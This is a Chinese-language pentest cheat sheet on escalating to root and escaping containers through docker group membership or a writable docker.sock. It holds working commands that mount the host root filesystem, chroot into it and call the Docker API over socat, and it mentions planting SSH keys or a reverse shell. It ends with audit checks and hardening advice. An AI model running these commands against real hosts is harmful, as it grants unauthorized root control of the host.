Docker 组与 docker.sock 提权逃逸
docker daemon 以 root 运行,docker 组成员可以向它提交任意挂载与执行请求,因此docker 组等价于 root。容器内如果存在可写的 docker.sock,同样能借 daemon 操作宿主,一次完成提权与逃逸。
环境判定
id # 是否在 docker 组
ls -la /var/run/docker.sock # socket 属主与权限
ls -la /.dockerenv # 容器内标志文件
cat /proc/self/status | grep CapEff # 当前生效的 capabilities
cat /proc/1/mounts # 挂载映射
CapEff 的解读见 Linux capabilities 提权。socket 可能被改名或换路径,/proc/<pid>/mountinfo 里仍能看到真实的挂载关系。
场景 A:docker 组成员
把宿主根文件系统挂进容器后直接读取:
docker run -v /:/mnt --rm alpine cat /mnt/root/root.txt
需要完整宿主视图时,挂载后 chroot:
docker run -v /:/host --rm -it alpine chroot /host
该操作等价于 root:宿主任意文件可读可写。
场景 B:docker.sock 可写(无 CLI)
目标机没有 docker CLI 时,直接对 socket 发 HTTP 请求即可操作 API。用 socat 建立裸连接:
socat - UNIX-CONNECT:/var/run/docker.sock
创建带宿主根挂载的容器:
POST /containers/create HTTP/1.1
Host: docker
Content-Type: application/json
{"Image":"alpine","Binds":["/:/host:rw"]}
随后 POST /containers/<id>/start 启动容器,在容器内写宿主的 /host/root/.ssh/authorized_keys,或直接反弹 shell。
场景 C:只读挂载的 socket
socket 以 ro 方式挂载进容器时不影响利用:ro 限制的是文件系统视图,UNIX socket 本身的读写不受限制,场景 B 的流程照常可用。
场景 D:辅助路径
- Alpine 的
abuild-sudo允许abuild组用户执行abuild-addgroup <user> docker,先把当前用户加进 docker 组,再走场景 A。 - 数据库用户恰好在 docker 组时,先经数据库命令执行拿到系统 shell,再操作 docker。
复核要点
id输出的附属组中是否包含 docker。- socket 文件权限是否宽于
root:docker 660。 /proc/self/status的CapEff是否包含高权能力。/proc/1/mounts与mountinfo中是否暴露宿主路径映射。
防御建议
- 不给普通用户 docker 组,确有需要时用受控账号并审计操作。
- socket 权限保持
root:docker 660。 - 启用 rootless docker,缩小 daemon 被滥用后的影响面。
- 容器不挂载宿主根目录,最小化挂载范围。